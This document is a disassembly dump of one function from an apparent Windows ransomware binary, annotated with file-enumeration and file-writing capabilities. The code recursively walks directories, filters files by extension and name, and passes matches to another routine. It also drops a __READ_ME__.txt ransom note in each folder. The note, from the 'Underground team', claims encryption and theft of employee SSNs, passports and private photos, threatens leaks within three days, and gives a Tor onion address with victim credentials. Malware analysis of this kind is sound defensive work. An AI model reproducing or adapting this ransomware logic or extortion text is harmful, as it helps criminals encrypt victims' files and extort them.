Function at 0x1400015a0
Capabilities:
Enumerate files on windows
Write file on windows

Disassembly:
push rbp
push rdi
push r12
push r13
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov r11, qword [rcx]
xor r13d, r13d
mov r10, rdx
mov dword [rcx + 0xc], r13d
mov edx, dword [rcx + 8]
mov rdi, rcx
mov ecx, r13d
mov r15, r9
cmp word [r10], cx
je 0x1400015ec
mov rax, r10
nop word [rax + rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x1400015e0
sub edx, r13d
lea eax, [rcx + 1]
mov r8d, r13d
cmp edx, eax
jge 0x14000160e
mov eax, 0xffffffff
add rsp, 0x3d0
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret
movsxd r9, ecx
test ecx, ecx
jle 0x140001641
mov rdx, r13
nop dword [rax + rax]
movzx ecx, word [r10 + rdx*2]
inc rdx
movsxd rax, dword [rdi + 0xc]
mov word [r11 + rax*2], cx
mov r8d, dword [rdi + 0xc]
inc r8d
mov dword [rdi + 0xc], r8d
cmp rdx, r9
jl 0x140001620
movsxd rax, r8d
lea r9, [rdi + 0xc]
mov rcx, rdi
mov word [r11 + rax*2], r13w
mov r8d, dword [rdi + 8]
mov rdx, qword [rdi]
call fcn.140001200
test eax, eax
jne 0x140001dae
mov qword [rsp + 0x400], rbx
lea rbx, str.__READ_ME__.txt
mov qword [rsp + 0x408], rsi
mov qword [rsp + 0x410], r14
lea r11, [0x140004360]
nop word [rax + rax]
movsxd rsi, dword [rdi + 0xc]
mov ecx, r13d
mov edx, dword [rdi + 8]
mov rax, r11
mov r10, qword [rdi]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x1400016a0
mov r8d, dword [rdi + 0xc]
lea eax, [rcx + 1]
sub edx, r8d
cmp edx, eax
jl 0x14000171c
movsxd r9, ecx
test ecx, ecx
jle 0x1400016e5
mov rdx, r13
movzx ecx, word [r11 + rdx*2]
inc rdx
movsxd rax, dword [rdi + 0xc]
mov word [r10 + rax*2], cx
mov r8d, dword [rdi + 0xc]
inc r8d
mov dword [rdi + 0xc], r8d
cmp rdx, r9
jl 0x1400016c4
movsxd rax, r8d
lea rdx, [rbp + 0x80]
mov word [r10 + rax*2], r13w
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r14, rax
cmp esi, dword [rdi + 8]
jge 0x14000172f
mov rcx, qword [rdi]
mov dword [rdi + 0xc], esi
mov word [rcx + rsi*2], r13w
cmp rax, 0xffffffffffffffff
jne 0x140001772
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, dword [rdi + 8]
jge 0x14000172f
mov rax, qword [rdi]
movsxd rcx, esi
mov dword [rdi + 0xc], esi
mov word [rax + rcx*2], r13w
movsxd rcx, dword [rdi + 0x24]
test ecx, ecx
je 0x140001d94
lea eax, [rcx - 1]
add rcx, rcx
mov dword [rdi + 0x24], eax
mov rax, qword [rdi + 0x18]
mov r14, qword [rax + rcx*8 - 0x10]
mov esi, dword [rax + rcx*8 - 8]
jmp 0x14000175a
lea rbx, str.__READ_ME__.txt
lea rdx, [rbp + 0x80]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x140001c81
cmp esi, dword [rdi + 8]
jge 0x14000175a
mov rax, qword [rdi]
movsxd rcx, esi
mov dword [rdi + 0xc], esi
mov word [rax + rcx*2], r13w
mov ecx, r13d
mov edx, dword [rdi + 8]
mov r10, qword [rdi]
cmp word [rbp + 0xac], cx
je 0x1400017ac
lea rax, [rbp + 0xac]
nop
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x1400017a0
mov r8d, dword [rdi + 0xc]
lea eax, [rcx + 1]
sub edx, r8d
cmp edx, eax
jl 0x14000175a
movsxd r9, ecx
test ecx, ecx
jle 0x1400017f4
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
movzx ecx, word [rbp + rdx*2 + 0xac]
inc rdx
movsxd rax, dword [rdi + 0xc]
mov word [r10 + rax*2], cx
mov r8d, dword [rdi + 0xc]
inc r8d
mov dword [rdi + 0xc], r8d
cmp rdx, r9
jl 0x1400017d0
movsxd rax, r8d
mov word [r10 + rax*2], r13w
test byte [rbp + 0x80], 0x10
je 0x14000195b
mov edx, dword [rdi + 8]
lea r11, [0x1400041ac]
mov r10, qword [rdi]
mov rax, r11
mov ecx, r13d
nop dword [rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x140001820
mov r8d, dword [rdi + 0xc]
lea eax, [rcx + 1]
sub edx, r8d
cmp edx, eax
jl 0x14000175a
movsxd r9, ecx
test ecx, ecx
jle 0x140001871
mov rdx, r13
nop dword [rax + rax]
movzx ecx, word [r11 + rdx*2]
inc rdx
movsxd rax, dword [rdi + 0xc]
mov word [r10 + rax*2], cx
mov r8d, dword [rdi + 0xc]
inc r8d
mov dword [rdi + 0xc], r8d
cmp rdx, r9
jl 0x140001850
movsxd rax, r8d
mov word [r10 + rax*2], r13w
movzx edx, word [rbp + 0xac]
mov rbx, qword [rdi]
movzx ecx, dx
cmp dx, 0x2e
jne 0x1400018e0
mov rax, r13
lea r8, [0x140000000]
test cx, cx
je 0x140001753
movzx ecx, word [rbp + rax + 0xae]
add rax, 2
cmp cx, word [rax + r8 + 0x420c]
je 0x140001896
mov rax, r13
nop dword [rax]
test dx, dx
je 0x140001753
movzx edx, word [rbp + rax + 0xae]
add rax, 2
cmp dx, word [rax + r8 + 0x4210]
je 0x1400018c0
mov rdx, qword [rdi + 0x28]
mov rcx, rbx
call section..text
test al, al
jne 0x140001753
mov rdx, qword [rdi + 0x30]
mov rcx, rbx
call section..text
test al, al
jne 0x140001753
mov rdx, qword [rdi + 0x38]
mov rcx, rbx
call section..text
lea rbx, str.__READ_ME__.txt
test al, al
jne 0x14000175a
movsxd rax, dword [rdi + 0x24]
lea rbx, str.__READ_ME__.txt
cmp eax, dword [rdi + 0x20]
jge 0x14000175a
mov rcx, rax
mov qword [rsp + 0x40], r14
mov rax, qword [rdi + 0x18]
add rcx, rcx
mov dword [rsp + 0x48], esi
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax + rcx*8], xmm0
inc dword [rdi + 0x24]
jmp 0x140001683
movzx edx, word [rbp + 0xac]
movzx ecx, dx
cmp dx, 0x21
jne 0x14000198b
mov rax, r13
nop
test cx, cx
je 0x14000175a
movzx ecx, word [rbp + rax + 0xae]
add rax, 2
cmp cx, word [rax + rbx]
je 0x140001970
cmp qword [rbp + 0x8c], r15
jge 0x1400019aa
cmp qword [rbp + 0x94], r15
jge 0x1400019aa
cmp qword [rbp + 0x84], r15
jl 0x14000175a
mov r8d, r13d
mov ecx, r13d
test dx, dx
je 0x140001c6d
lea r9, [rbp + 0xac]
inc ecx
cmp dx, 0x5c
je 0x1400019db
cmp dx, 0x2e
mov eax, ecx
cmovne eax, r8d
mov r8d, eax
cmp dx, 0x2f
jne 0x1400019de
mov r8d, r13d
movzx edx, word [r9 + 2]
add r9, 2
test dx, dx
jne 0x1400019c0
test r8d, r8d
je 0x140001c6d
movsxd rax, r8d
lea r9, [rbp + 0xac]
lea r9, [r9 + rax*2]
test r9, r9
je 0x140001c6d
mov r10, qword [rdi + 0x10]
mov edx, r13d
mov r11d, r13d
cmp word [r9], dx
je 0x140001a2c
mov rax, r9
nop
inc edx
lea rax, [rax + 2]
cmp word [rax], r11w
jne 0x140001a20
lea eax, [rdx + 1]
cmp dword [rdi + 8], eax
jl 0x140001c6d
movsxd r8, edx
test edx, edx
jle 0x140001a62
mov rcx, r10
sub r9, r10
mov r11d, edx
nop dword [rax + rax]
movzx eax, word [r9 + rcx]
mov word [rcx], ax
lea rcx, [rcx + 2]
sub r8, 1
jne 0x140001a50
movsxd rax, r11d
mov edx, r11d
mov word [r10 + rax*2], r13w
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.USER32.dll_CharUpperBuffW]
lea rax, [0x140004220]
mov qword [rsp + 0x58], rax
lea rcx, [0x140004218]
lea rax, [0x140004228]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x60], rax
lea rax, [0x140004230]
mov qword [rsp + 0x68], rax
lea rax, [0x140004238]
mov qword [rsp + 0x70], rax
lea rax, [0x140004240]
mov qword [rsp + 0x78], rax
lea rax, [0x140004248]
mov qword [rbp - 0x80], rax
lea rax, [0x140004250]
mov qword [rbp - 0x78], rax
lea rax, str.GADGET
mov qword [rbp - 0x70], rax
lea rax, [0x140004268]
mov qword [rbp - 0x68], rax
lea rax, [0x140004270]
mov qword [rbp - 0x60], rax
lea rax, [0x140004278]
mov qword [rbp - 0x58], rax
lea rax, [0x140004280]
mov qword [rbp - 0x50], rax
lea rax, [0x140004288]
mov qword [rbp - 0x48], rax
lea rax, [0x140004290]
mov qword [rbp - 0x40], rax
lea rax, [0x140004298]
mov qword [rbp - 0x38], rax
lea rax, [0x1400042a0]
mov qword [rbp - 0x30], rax
lea rax, [0x1400042a8]
mov qword [rbp - 0x28], rax
lea rax, [0x1400042b0]
mov qword [rbp - 0x20], rax
lea rax, [0x1400042b8]
mov qword [rbp - 0x18], rax
lea rax, [0x1400042c0]
mov qword [rbp - 0x10], rax
lea rax, [0x1400042c8]
mov qword [rbp - 8], rax
lea rax, [0x1400042d0]
mov qword [rbp], rax
lea rax, [0x1400042d8]
mov qword [rbp + 8], rax
lea rax, [0x1400042e0]
mov qword [rbp + 0x10], rax
lea rax, [0x1400042e8]
mov qword [rbp + 0x18], rax
lea rax, [0x1400042f0]
mov qword [rbp + 0x20], rax
lea rax, [0x1400042f8]
mov qword [rbp + 0x28], rax
lea rax, [0x140004300]
mov qword [rbp + 0x30], rax
lea rax, [0x140004308]
mov qword [rbp + 0x38], rax
lea rax, [0x140004310]
mov qword [rbp + 0x40], rax
lea rax, [0x140004318]
mov qword [rbp + 0x48], rax
lea rax, str.VBSCRIPT
mov qword [rbp + 0x50], rax
lea rax, [0x140004334]
mov qword [rbp + 0x58], rax
lea rax, [0x140004340]
mov qword [rbp + 0x60], rax
lea rax, [0x140004348]
mov qword [rbp + 0x68], rax
lea rax, [0x140004350]
mov qword [rbp + 0x70], rax
lea rax, [0x140004358]
mov qword [rbp + 0x78], rax
mov rax, qword [rdi + 0x10]
lea r8, [rsp + 0x50]
mov r9d, r13d
mov rdx, rcx
movzx r10d, word [rax]
movzx eax, r10w
cmp r10w, word [rdx]
jne 0x140001c5b
mov rcx, r13
nop
test ax, ax
je 0x14000175a
mov rax, qword [rdi + 0x10]
add rcx, 2
movzx eax, word [rcx + rax]
cmp ax, word [rdx + rcx]
je 0x140001c40
inc r9d
add r8, 8
cmp r9d, 0x26
jae 0x140001c6d
mov rdx, qword [r8]
jmp 0x140001c32
mov rdx, qword [rdi]
lea rax, [0x140002b70]
mov rcx, rdi
call rax
jmp 0x14000175a
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindClose]
cmp esi, dword [rdi + 8]
jge 0x14000172f
mov rax, qword [rdi]
movsxd rcx, esi
mov dword [rdi + 0xc], esi
mov word [rax + rcx*2], r13w
mov ecx, r13d
mov edx, dword [rdi + 8]
mov rax, rbx
mov r10, qword [rdi]
nop dword [rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], r13w
jne 0x140001cb0
mov r8d, dword [rdi + 0xc]
lea eax, [rcx + 1]
sub edx, r8d
cmp edx, eax
jl 0x14000171c
movsxd r9, ecx
test ecx, ecx
jle 0x140001d00
mov rdx, r13
nop dword [rax + rax]
movzx ecx, word [rbx + rdx*2]
inc rdx
movsxd rax, dword [rdi + 0xc]
mov word [r10 + rax*2], cx
mov r8d, dword [rdi + 0xc]
inc r8d
mov dword [rdi + 0xc], r8d
cmp rdx, r9
jl 0x140001ce0
movsxd rax, r8d
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov dword [rsp + 0x28], r13d
mov edx, 0x40000000
mov dword [rsp + 0x20], 1
mov word [r10 + rax*2], r13w
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001d3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140001d6a
lea r9, [rbp + 0x320]
mov qword [rsp + 0x20], r13
mov r8d, 0x8ba
lea rdx, str.The_Underground_team_welcomes_you___r_n_r_nWe_would_like_to_inform_that_your_network_has_been_tested_by_us_for_vulnerabilities._r_nPoor_network_security_could_cause_your_data_to_be_lost_forever__including_backups._r_nYour_files_are_currently_encrypted__but_dont_worry__they_can_be_restored_to_their_original_state_with_a_decryptor_key_that_only_we_have._The_key_is_in_a_single_copy_on_our_server._r_n_r_nAttempting_to_recover_data_by_your_own_efforts_may_result_in_data_loss._r_nIt_is_important_not_to_change_their_current_state._Each_file_additionally_has_a_unique_cipher__which_you_can_restore_only_with_our_help._r_n_r_nDO_NOT_reboot_or_turn_off_storage_media._r_n_r_nIf_you_do_not_contact_us_within_3_days__or_we_cannot_reach_an_agreement__information_about_data_leaks_is_bound_to_get_into_the_media._Your_companys_reputation_will_be_damaged._r_n_r_nTags_of_downloaded_information:_r_n_r_n_company_historical_reports_r_n_salary_of_top_employees_r_n_SSN_and_passports_of_employees_and_their_relatives_r_n_personal_vulnerable_photos_r_n_personal_private_correspondence_r_n_will_and_letters_of_company_since_1960s_r_n_shareholders_reports_r_n_company_financial_documents_r_n_r_nAdditionally__we_wish_to_notify_you_that_we_possess_certain_sensitive_information_regarding_your_companys_management._r_n_r_nTotal_size_of_downloaded_data_about_30_GB._r_n_r_nWe_value_and_respect_every_business__including_yours._r_nTherefore__we_suggest_you_avoid_further_negative_consequences_and_return_to_your_work_as_soon_as_possible._r_n_r_nWe_guarantee_a_fair_and_confidential_deal_in_the_shortest_possible_time.__r_nYou_will_not_only_receive_a_decryptor__but_also_a_description_of_your_network_vulnerabilities_and_information_security_recommendations._If_necessary__you_will_be_provided_with_qualified_data_recovery_assistance.__r_n_r_nYou_can_trust_us__Reputation_is_important_to_everyone.__r_nAs_a_proof_of_our_statements__we_are_ready_to_restore_some_files_for_free_and_demonstrate_how_our_product_works._r_n_r_n_r_nBest_regards__Underground_team___r_n_r_n_r_nContacts_for_communication_via_chat:_r_nlogin_to_your_account_r_n_Tor_Browser__r_nhttp:__ehehqyhw3iev2vfso4vqs7kcrzltfebe5vbimq62p2ja7pslczs3q6qd.onion__r_nyour_login:_____CentralSecurities_r_nyour_password:__INodQs43A1Oefskc_r_n_r_n_r_nID_p7wxdv4s0zn8j2tma6icbflhq9gy1oeu_r_n
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, str.__READ_ME__.txt
cmp esi, dword [rdi + 8]
jge 0x14000172f
mov rax, qword [rdi]
lea rbx, str.__READ_ME__.txt
movsxd rcx, esi
mov dword [rdi + 0xc], esi
mov word [rax + rcx*2], r13w
jmp 0x14000171c
mov r14, qword [rsp + 0x410]
xor eax, eax
mov rsi, qword [rsp + 0x408]
mov rbx, qword [rsp + 0x400]
add rsp, 0x3d0
pop r15
pop r13
pop r12
pop rdi
pop rbp
ret